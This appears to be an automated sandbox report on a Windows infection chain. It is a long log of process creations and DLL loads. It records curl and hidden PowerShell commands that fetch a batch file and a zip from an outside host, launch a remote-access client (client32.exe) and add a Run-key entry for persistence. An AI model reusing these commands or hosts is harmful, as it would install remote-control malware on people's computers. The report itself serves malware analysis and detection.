Source: unknown	Process created: C:\Windows\SysWOW64\cmd.exe cmd /K C:\WINDOWS\system32\cmd.exe /c cmd.exe /c cmd.exe /c cmd.exe /c C:\WINDOWS\system32\curl.exe -k -Ss -X POST "https://www.insideedgepr.com/header.php" -o "C:\ProgramData\xss.bat" && start /min "" "C:\ProgramData\xss.bat" Press Enter
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\WINDOWS\system32\cmd.exe /c cmd.exe /c cmd.exe /c cmd.exe /c C:\WINDOWS\system32\curl.exe -k -Ss -X POST "https://www.insideedgepr.com/header.php" -o "C:\ProgramData\xss.bat"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c cmd.exe /c cmd.exe /c C:\WINDOWS\system32\curl.exe -k -Ss -X POST "https://www.insideedgepr.com/header.php" -o "C:\ProgramData\xss.bat"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c cmd.exe /c C:\WINDOWS\system32\curl.exe -k -Ss -X POST "https://www.insideedgepr.com/header.php" -o "C:\ProgramData\xss.bat"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c C:\WINDOWS\system32\curl.exe -k -Ss -X POST "https://www.insideedgepr.com/header.php" -o "C:\ProgramData\xss.bat"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\curl.exe C:\WINDOWS\system32\curl.exe -k -Ss -X POST "https://www.insideedgepr.com/header.php" -o "C:\ProgramData\xss.bat"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /K "C:\ProgramData\xss.bat" Press Enter
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -Command "Invoke-WebRequest -Uri 'https://www.insideedgepr.com/raxs.zip?8d21e5f647d81a33c781' -OutFile 'C:\Users\user\AppData\Roaming\Program.zip'"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -Command "Add-Type -AssemblyName 'System.IO.Compression.FileSystem'; [IO.Compression.ZipFile]::ExtractToDirectory('C:\Users\user\AppData\Roaming\Program.zip', 'C:\Users\user\AppData\Roaming\Directory')"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Roaming\Directory\client32.exe "C:\Users\user\AppData\Roaming\Directory\client32.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v "Program_Cs1" /t REG_SZ /d "C:\Users\user\AppData\Roaming\Directory\client32.exe" /f
Source: unknown	Process created: C:\Users\user\AppData\Roaming\Directory\client32.exe "C:\Users\user\AppData\Roaming\Directory\client32.exe"
Source: unknown	Process created: C:\Users\user\AppData\Roaming\Directory\client32.exe "C:\Users\user\AppData\Roaming\Directory\client32.exe"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=3220,i,14266024722842573986,13548840143605449493,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=3268 /prefetch:3	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\WINDOWS\system32\cmd.exe /c cmd.exe /c cmd.exe /c cmd.exe /c C:\WINDOWS\system32\curl.exe -k -Ss -X POST "https://www.insideedgepr.com/header.php" -o "C:\ProgramData\xss.bat"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /K "C:\ProgramData\xss.bat" Press Enter	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c cmd.exe /c cmd.exe /c C:\WINDOWS\system32\curl.exe -k -Ss -X POST "https://www.insideedgepr.com/header.php" -o "C:\ProgramData\xss.bat"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c cmd.exe /c C:\WINDOWS\system32\curl.exe -k -Ss -X POST "https://www.insideedgepr.com/header.php" -o "C:\ProgramData\xss.bat"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c C:\WINDOWS\system32\curl.exe -k -Ss -X POST "https://www.insideedgepr.com/header.php" -o "C:\ProgramData\xss.bat"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\curl.exe C:\WINDOWS\system32\curl.exe -k -Ss -X POST "https://www.insideedgepr.com/header.php" -o "C:\ProgramData\xss.bat"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -Command "Invoke-WebRequest -Uri 'https://www.insideedgepr.com/raxs.zip?8d21e5f647d81a33c781' -OutFile 'C:\Users\user\AppData\Roaming\Program.zip'"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -Command "Add-Type -AssemblyName 'System.IO.Compression.FileSystem'; [IO.Compression.ZipFile]::ExtractToDirectory('C:\Users\user\AppData\Roaming\Program.zip', 'C:\Users\user\AppData\Roaming\Directory')"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Roaming\Directory\client32.exe "C:\Users\user\AppData\Roaming\Directory\client32.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v "Program_Cs1" /t REG_SZ /d "C:\Users\user\AppData\Roaming\Directory\client32.exe" /f	Jump to behavior

Source: C:\Windows\SysWOW64\curl.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Directory\client32.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Directory\client32.exe	Section loaded: pcicl32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Directory\client32.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Directory\client32.exe	Section loaded: pcichek.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Directory\client32.exe	Section loaded: pcicapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Directory\client32.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Directory\client32.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Directory\client32.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Directory\client32.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Directory\client32.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Directory\client32.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Directory\client32.exe	Section loaded: msvcr100.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Directory\client32.exe	Section loaded: msvcr100.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Directory\client32.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Directory\client32.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Directory\client32.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Directory\client32.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Directory\client32.exe	Section loaded: dbgcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Directory\client32.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Directory\client32.exe	Section loaded: nsmtrace.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Directory\client32.exe	Section loaded: nslsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Directory\client32.exe	Section loaded: devobj.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Directory\client32.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Directory\client32.exe	Section loaded: pcihooks.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Directory\client32.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Directory\client32.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Directory\client32.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Directory\client32.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Directory\client32.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Directory\client32.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Directory\client32.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Directory\client32.exe	Section loaded: riched32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Directory\client32.exe	Section loaded: riched20.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Directory\client32.exe	Section loaded: usp10.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Directory\client32.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Directory\client32.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Directory\client32.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Directory\client32.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Directory\client32.exe	Section loaded: pciinv.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Directory\client32.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Directory\client32.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Directory\client32.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Directory\client32.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Directory\client32.exe	Section loaded: fwpolicyiomgr.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Directory\client32.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Directory\client32.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Directory\client32.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Directory\client32.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Directory\client32.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Directory\client32.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Directory\client32.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Directory\client32.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Directory\client32.exe	Section loaded: pcicl32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Directory\client32.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Directory\client32.exe	Section loaded: pcichek.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Directory\client32.exe	Section loaded: pcicapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Directory\client32.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Directory\client32.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Directory\client32.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Directory\client32.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Directory\client32.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Directory\client32.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Directory\client32.exe	Section loaded: msvcr100.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Directory\client32.exe	Section loaded: msvcr100.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Directory\client32.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Directory\client32.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Directory\client32.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Directory\client32.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Directory\client32.exe	Section loaded: nsmtrace.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Directory\client32.exe	Section loaded: nslsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Directory\client32.exe	Section loaded: devobj.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Directory\client32.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Directory\client32.exe	Section loaded: pcicl32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Directory\client32.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Directory\client32.exe	Section loaded: pcichek.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Directory\client32.exe	Section loaded: pcicapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Directory\client32.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Directory\client32.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Directory\client32.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Directory\client32.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Directory\client32.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Directory\client32.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Directory\client32.exe	Section loaded: msvcr100.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Directory\client32.exe	Section loaded: msvcr100.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Directory\client32.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Directory\client32.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Directory\client32.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Directory\client32.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Directory\client32.exe	Section loaded: nsmtrace.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Directory\client32.exe	Section loaded: nslsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Directory\client32.exe	Section loaded: devobj.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Directory\client32.exe	Section loaded: msasn1.dll	Jump to behavior

Source: C:\Users\user\AppData\Roaming\Directory\client32.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}\InprocServer32

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File written: C:\Users\user\AppData\Roaming\Directory\NSM.ini

Jump to behavior

Source: C:\Users\user\AppData\Roaming\Directory\client32.exe

File opened: C:\Windows\SysWOW64\riched32.dll

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Users\user\AppData\Roaming\Directory\msvcr100.dll

Jump to behavior

Source:	Binary string: E:\nsmsrc\nsm\1210\1210\ctl32\Full\pcichek.pdb source: client32.exe, 0000001D.00000002.2023427992.0000000070142000.00000002.00000001.01000000.0000000F.sdmp, client32.exe, 00000021.00000002.1892321802.0000000070142000.00000002.00000001.01000000.0000000F.sdmp, client32.exe, 00000022.00000002.1974260328.0000000070142000.00000002.00000001.01000000.0000000F.sdmp
Source:	Binary string: msvcr100.i386.pdb source: client32.exe, 0000001D.00000002.2022808297.0000000070051000.00000020.00000001.01000000.0000000D.sdmp, client32.exe, 00000021.00000002.1892063645.0000000070051000.00000020.00000001.01000000.0000000D.sdmp, client32.exe, 00000022.00000002.1974000969.0000000070051000.00000020.00000001.01000000.0000000D.sdmp, msvcr100.dll.28.dr
Source:	Binary string: E:\nsmsrc\nsm\1210\1210f\client32\Release\PCICL32.pdb source: client32.exe, 0000001D.00000002.2021848504.0000000011193000.00000002.00000001.01000000.0000000C.sdmp, client32.exe, 00000021.00000002.1891623943.0000000011193000.00000002.00000001.01000000.0000000C.sdmp, client32.exe, 00000022.00000002.1973644487.0000000011193000.00000002.00000001.01000000.0000000C.sdmp, PCICL32.DLL.28.dr
